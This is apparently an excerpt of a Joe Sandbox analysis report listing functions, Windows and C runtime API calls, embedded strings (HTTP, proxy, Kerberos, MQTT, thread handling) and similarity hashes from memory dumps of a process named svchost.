Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Wait$ObjectSingle$EventMultipleObjectsReset
String ID:
API String ID: 654736092-0
Opcode ID: 96c9b5ad3ac0c7c7edf09851d5da80622a09f72e97e6fc1457996ee278957ded
Instruction ID: d3ee0eaab07988580939ca2428ce104d4a652107eb983c9cf61b1eb5acf66ab1
Opcode Fuzzy Hash: 96c9b5ad3ac0c7c7edf09851d5da80622a09f72e97e6fc1457996ee278957ded
Instruction Fuzzy Hash: 665114223D440041F7214667E94A3AA0A5FBB577ECF5401A2CF26CA6A1FBBDC5D2C226

Function 00007FFDA559B640 Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559B6CC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559B8E7

Part of subcall function 00007FFDA55949A0: strchr.VCRUNTIME140 ref: 00007FFDA5594A58

Strings

Host, xrefs: 00007FFDA559B7B2, 00007FFDA559B7D4
Keep-Alive, xrefs: 00007FFDA559B891
Proxy-Connection, xrefs: 00007FFDA559B86F, 00007FFDA559B89C
%s%s%s:%d, xrefs: 00007FFDA559B709
CONNECT, xrefs: 00007FFDA559B73E
User-Agent, xrefs: 00007FFDA559B81C, 00007FFDA559B84F

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: strchr$free
String ID: %s%s%s:%d$CONNECT$Host$Keep-Alive$Proxy-Connection$User-Agent
API String ID: 3578582447-3503046744
Opcode ID: c7c9ca203e809c69a7538edbe9d9348459ea286da67521505a18d22d4896c789
Instruction ID: 7c868088d1c6cd74550e47d0746ea638d96776a14bbbb2b21dbed0f96bb5ac93
Opcode Fuzzy Hash: c7c9ca203e809c69a7538edbe9d9348459ea286da67521505a18d22d4896c789
Instruction Fuzzy Hash: AE717E6AB0E68AC1FA629F51A4603B927A0FF97F94F444432DA8D47787DF3CE4058348

Function 00007FFDA55A3770 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000002,?,?,00007FFDA55A3249), ref: 00007FFDA55A387A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000002,?,?,00007FFDA55A3249), ref: 00007FFDA55A390E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000002,?,?,00007FFDA55A3249), ref: 00007FFDA55A3919

Strings

Too long MQTT topic, xrefs: 00007FFDA55A3810
No MQTT topic found. Forgot to URL encode it?, xrefs: 00007FFDA55A38F7

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$malloc
String ID: No MQTT topic found. Forgot to URL encode it?$Too long MQTT topic
API String ID: 2190258309-1276830682
Opcode ID: 1453a0216d4a61804d3a858584b32711943582c8b600f61607bb6e43e0791b2e
Instruction ID: 9441a249f3fa802a396626eb51200e97aa9bc9f0728f773e4bd8c37931d7aefd
Opcode Fuzzy Hash: 1453a0216d4a61804d3a858584b32711943582c8b600f61607bb6e43e0791b2e
Instruction Fuzzy Hash: A041F16AB0A79A82EA029F15F4643B96790EB96FD8F450132EF4D077D7DE2DD506C300

Function 64942210 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 64942170: EnterCriticalSection.KERNEL32(00000120,00000000,00000068,00000000,?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89), ref: 6494219E
Part of subcall function 64942170: LeaveCriticalSection.KERNEL32(?,?,6494246F,?,?,?,?,?,?,00000000,00000100,64943A89,?,?,?,00000100), ref: 649421B1

TryEnterCriticalSection.KERNEL32 ref: 64942287
LeaveCriticalSection.KERNEL32 ref: 649422C3

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 64a14b26eebd602a32318612d1c73aaa2676a09661875bd3566d3150fd0f9fc1
Instruction ID: c70b7dd98fa8b30a946d7bfc7cacc3f56c823bbf88279334903176617df7d1a3
Opcode Fuzzy Hash: 64a14b26eebd602a32318612d1c73aaa2676a09661875bd3566d3150fd0f9fc1
Instruction Fuzzy Hash: 17318C2238060486EB149F76E9507DA2365BB86FECF884732CD69973E4DF35C859C351

Function 64946FF0 Relevance: 12.1, APIs: 8, Instructions: 88timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 64947015
GetThreadTimes.KERNEL32 ref: 64947037
GetCurrentProcess.KERNEL32 ref: 64947080
GetProcessTimes.KERNEL32 ref: 649470A2
_errno.MSVCRT ref: 649470AC
GetSystemTimeAsFileTime.KERNEL32 ref: 649470CC
QueryPerformanceFrequency.KERNEL32 ref: 649470F5
QueryPerformanceCounter.KERNEL32 ref: 64947104

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CurrentPerformanceProcessQueryThreadTimeTimes$CounterFileFrequencySystem_errno
String ID:
API String ID: 3786581644-0
Opcode ID: 1cbd5dd333b386ab46c507ef65a2726135c869851dae07a2f01727df85f622f6
Instruction ID: 1c768bd9e69684d563be0dbbaa5e68889a0c424e9680141303368067254932ee
Opcode Fuzzy Hash: 1cbd5dd333b386ab46c507ef65a2726135c869851dae07a2f01727df85f622f6
Instruction Fuzzy Hash: A2318372755B8883DF09EF61E81036AB366FBD5B88F509126EA9A4B758EF3DC014C740

Function 00007FFDA55C9660 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA55CA6B0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CA6E2
Part of subcall function 00007FFDA55CA6B0: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55CA6F0
Part of subcall function 00007FFDA55CA6B0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CA6FC

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C9722
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C9773
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C97DD

Part of subcall function 00007FFDA5582C60: wcschr.VCRUNTIME140 ref: 00007FFDA5582CC1
Part of subcall function 00007FFDA5582C60: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5582CED
Part of subcall function 00007FFDA5582C60: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5582D2B
Part of subcall function 00007FFDA5582C60: wcsncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5582D46
Part of subcall function 00007FFDA5582C60: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5582D64
Part of subcall function 00007FFDA5582C60: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5582D7D
Part of subcall function 00007FFDA5582C60: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5582DA9

Strings

SSPI: couldn't get auth info, xrefs: 00007FFDA55C96ED
GSSAPI handshake failure (empty challenge message), xrefs: 00007FFDA55C9802
GSSAPI, xrefs: 00007FFDA55C9664
Kerberos, xrefs: 00007FFDA55C96DC, 00007FFDA55C9791

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_wcsdup$callocmalloc$wcschrwcsncpy
String ID: GSSAPI$GSSAPI handshake failure (empty challenge message)$Kerberos$SSPI: couldn't get auth info
API String ID: 3657581166-3211747215
Opcode ID: be77fdceb083cccfa667339f0eccfff52253ab26ffe642b20fd30fd3a419145d
Instruction ID: 31844f3552d079d4477effce7be21ad8c3770c471b5dd554d4c01b9a0fc2e251
Opcode Fuzzy Hash: be77fdceb083cccfa667339f0eccfff52253ab26ffe642b20fd30fd3a419145d
Instruction Fuzzy Hash: 1E915A7AB0AB4A86EB128F65E4603AD23B5FB46F88F404035DE4D57B9ADF38E445C344

Function 00007FFDA559A810 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 149COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C90FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C9121
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C912F

Strings

stale, xrefs: 00007FFDA55C9086
true, xrefs: 00007FFDA55C909B
Digest, xrefs: 00007FFDA559A825

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: Digest$stale$true
API String ID: 1294909896-2487968700
Opcode ID: 825711940c4339f0b0f10af0562f396d60dc81393043e1d307ce092e7f71487e
Instruction ID: c335a99cbadb19cf2d1e36b32c6a9d81d9c27544e3f2b270599612dd5680b134
Opcode Fuzzy Hash: 825711940c4339f0b0f10af0562f396d60dc81393043e1d307ce092e7f71487e
Instruction Fuzzy Hash: A451B46AB0EA8A81EB628F15E4603B963B1EB47F84F445131EA8D037C6DF2CF555C618

Function 649415C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

__iob_func.MSVCRT ref: 64941608

Strings

&, xrefs: 6494160E
(((barrier_t *)*barrier)->valid == LIFE_BARRIER) && (((barrier_t *)*barrier)->busy > 0), xrefs: 64941621
Assertion failed: (%s), file %s, line %d, xrefs: 64941628
../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/barrier.c, xrefs: 64941616

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: __iob_func
String ID: &$(((barrier_t *)*barrier)->valid == LIFE_BARRIER) && (((barrier_t *)*barrier)->busy > 0)$../../src/mingw-w64/mingw-w64-libraries/winpthreads/src/barrier.c$Assertion failed: (%s), file %s, line %d
API String ID: 686374508-3470151808
Opcode ID: 06c8006b2e40a1b02f2937bba9d3daa3392596c9965291c53121d202f0f451b8
Instruction ID: a6c690fc7c4ad125f6452d29da4510a78f9609d2262ab1e3dfa78bf125776778
Opcode Fuzzy Hash: 06c8006b2e40a1b02f2937bba9d3daa3392596c9965291c53121d202f0f451b8
Instruction Fuzzy Hash: FD41D13339160586EB20DB36E91436E6765E792BECF884121DE1E47764DF38C892C700

Function 00007FFDA5594560 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86COMMON

Download Yara Rule

Strings

Last-Modified, xrefs: 00007FFDA55945E4
If-Modified-Since, xrefs: 00007FFDA5594602
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00007FFDA559466A
If-Unmodified-Since, xrefs: 00007FFDA55945F3
Invalid TIMEVALUE, xrefs: 00007FFDA55945AE

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _gmtime64
String ID: %s: %s, %02d %s %4d %02d:%02d:%02d GMT$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified
API String ID: 1355024304-4153637960
Opcode ID: faf39b1bc8a21587184d5586f50a3b0ceb46b29f085b2b703a6ec10082a9352d
Instruction ID: 826a5d17b9ccb0fa284de1ccc02cefc628cf83902ec4d9e7a5afc36960fb146d
Opcode Fuzzy Hash: faf39b1bc8a21587184d5586f50a3b0ceb46b29f085b2b703a6ec10082a9352d
Instruction Fuzzy Hash: D741407A70E78AC6E621DF15E46037A67A0FB87B80F500132DA4D47B96DF2CE901CB44

Function 00007FFDA5589510 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55895F3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558960F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5589623
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5589637
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558964B

Strings

QUIT, xrefs: 00007FFDA5589545
Failure sending QUIT command: %s, xrefs: 00007FFDA5589569

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1294909896-1162443993
Opcode ID: e9f5c25c0c0cbdff4d56f90e4297242a8fbafeb5f8e24c25148f9f13a79a548b
Instruction ID: 07630ced8d844cbd4729e9a9dbd03d6593db781f3d30065bb9f774d2a8eb5e9b
Opcode Fuzzy Hash: e9f5c25c0c0cbdff4d56f90e4297242a8fbafeb5f8e24c25148f9f13a79a548b
Instruction Fuzzy Hash: 7D318D7AB0E78981EB169F21E4643A933A0EF46F84F484071DE4D07B86DF2CE099C725

Function 00007FFDA55784B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FFDA557853E
WSAGetLastError.WS2_32 ref: 00007FFDA5578548

Part of subcall function 00007FFDA55BA280: GetLastError.KERNEL32 ref: 00007FFDA55BA2A3
Part of subcall function 00007FFDA55BA280: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA2AB

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55785A9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55785B1

Strings

getsockname() failed with errno %d: %s, xrefs: 00007FFDA5578568
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00007FFDA55785D2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _errno$ErrorLast$getsockname
String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
API String ID: 837846698-2605427207
Opcode ID: 5c634eb2012870781e77425daf34be7e0c5be7cdabfc357b16345476ad618bd3
Instruction ID: 96ebea0360ecff7b1f80defa99b085c1545afcfa8152981b6359c27da0f6b221
Opcode Fuzzy Hash: 5c634eb2012870781e77425daf34be7e0c5be7cdabfc357b16345476ad618bd3
Instruction Fuzzy Hash: CB315F27B1D7CAD2EA21CF11E4603EA6360FB9AB84F405236EA8C47756DF6CD1858744

Function 64941AC0 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32 ref: 64941B20
CreateSemaphoreA.KERNEL32 ref: 64941B36
InitializeCriticalSection.KERNEL32 ref: 64941B5B
InitializeCriticalSection.KERNEL32 ref: 64941B61
InitializeCriticalSection.KERNEL32 ref: 64941B67
CloseHandle.KERNEL32 ref: 64941B90
CloseHandle.KERNEL32 ref: 64941BA5

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CriticalInitializeSection$CloseCreateHandleSemaphore
String ID:
API String ID: 3487344249-0
Opcode ID: eb7254ae0b87aaabb354fe5c7cf01b8aa784702653ead7a0c4080870feffabbc
Instruction ID: 31c3c2f24a53828e468885d33ffcfcee3f6f88692367c2784a926345d8c92843
Opcode Fuzzy Hash: eb7254ae0b87aaabb354fe5c7cf01b8aa784702653ead7a0c4080870feffabbc
Instruction Fuzzy Hash: 40219D327016418AFB099F32F9503AA37E5EB45B98F088139CE2D4B398EF38C495C750

Function 00007FFDA55AC510 Relevance: 10.6, APIs: 7, Instructions: 67sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA55BF210: QueryPerformanceCounter.KERNEL32(?,?,00000000,00007FFDA55AC534), ref: 00007FFDA55BF227

Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CA5
Part of subcall function 00007FFDA5580C70: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CB8
Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CDF
Part of subcall function 00007FFDA5580C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CEC

MoveFileExW.KERNEL32 ref: 00007FFDA55AC559
Sleep.KERNEL32 ref: 00007FFDA55AC5A4
MoveFileExW.KERNEL32 ref: 00007FFDA55AC5B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55AC5C8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55AC5D6

Part of subcall function 00007FFDA55BF210: GetTickCount.KERNEL32 ref: 00007FFDA55BF25D

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55AC5FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55AC609

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$ByteCharFileMoveMultiWide$CountCounterPerformanceQuerySleepTickmalloc
String ID:
API String ID: 1097834511-0
Opcode ID: ca3577dfe5bef956fbc6c669d8edf1fb2a578caef158fe90979b2991c79747d3
Instruction ID: e51c6f0728b4574bda9d9396a838e7530eca88afaf210e33285bfd71b0563f09
Opcode Fuzzy Hash: ca3577dfe5bef956fbc6c669d8edf1fb2a578caef158fe90979b2991c79747d3
Instruction Fuzzy Hash: 46218116B1E68A82FE169F15A4293B9A390AF8BF80F444530EE4E07797DE2DE5418708

Function 00007FFDA557E5F0 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E668
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E672
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E67C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E686
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E690
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E699

Strings

?, xrefs: 00007FFDA557E61B

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: ?
API String ID: 1294909896-1684325040
Opcode ID: a20218bfb257facea1c921fba6cb485ed81ff14735969ac4d056631ba2a8c591
Instruction ID: f6de6b5d530b7911a1ccfe7a6f05a97fe1f357e73955e3e9e7f5c90d5aa7193a
Opcode Fuzzy Hash: a20218bfb257facea1c921fba6cb485ed81ff14735969ac4d056631ba2a8c591
